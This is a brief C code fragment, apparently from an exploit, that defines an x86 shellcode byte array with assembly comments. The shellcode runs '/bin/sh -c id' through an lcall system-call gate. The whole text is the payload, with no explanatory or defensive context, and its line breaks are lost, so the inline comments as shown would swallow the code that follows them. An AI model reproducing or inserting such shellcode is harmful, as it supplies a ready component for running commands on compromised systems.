char hell[] = "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xeb\x30" // jmp uno "\x5e" // dos: popl %esi "\x8d\x7e\x10" // leal 16(%esi),%edi "\x89\xf9" // movl %edi,%ecx "\x89\x3e" // movl %edi,(%esi) "\x8d\x7e\x18" // leal 24(%esi),%edi "\x89\x7e\x04" // movl %edi,4(%esi) "\x8d\x7e\x1b" // leal 27(%esi),%edi "\x89\x7e\x08" // movl %edi,8(%esi) "\x89\x5e\x0c" // movl %ebx,12(%esi) "\x89\x5e\xf5" // movl %ebx,-11(%esi) "\x88\x5e\xfa" // movb %bl,-6(%esi) "\x88\x5e\x17" // movb %bl,23(%esi) "\x88\x5e\x1a" // movb %bl,26(%esi) "\x53" // pushl %ebx "\x56" // pushl %esi "\x51" // pushl %ecx "\x51" // pushl %ecx "\xb0\x3b" // movb 0x3b, %al "\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0 "\xe8\xcb\xff\xff\xff" // uno: call dos "AAAA" // +0 "AAAA" // +4 "AAAA" // +8 "AAAA" // +12 "/bin/shA" // (1) +16 0x10(%esi) "-cA" // (2) +24 0x18(%esi) "id"; // (3) +27 0x1b(%esi)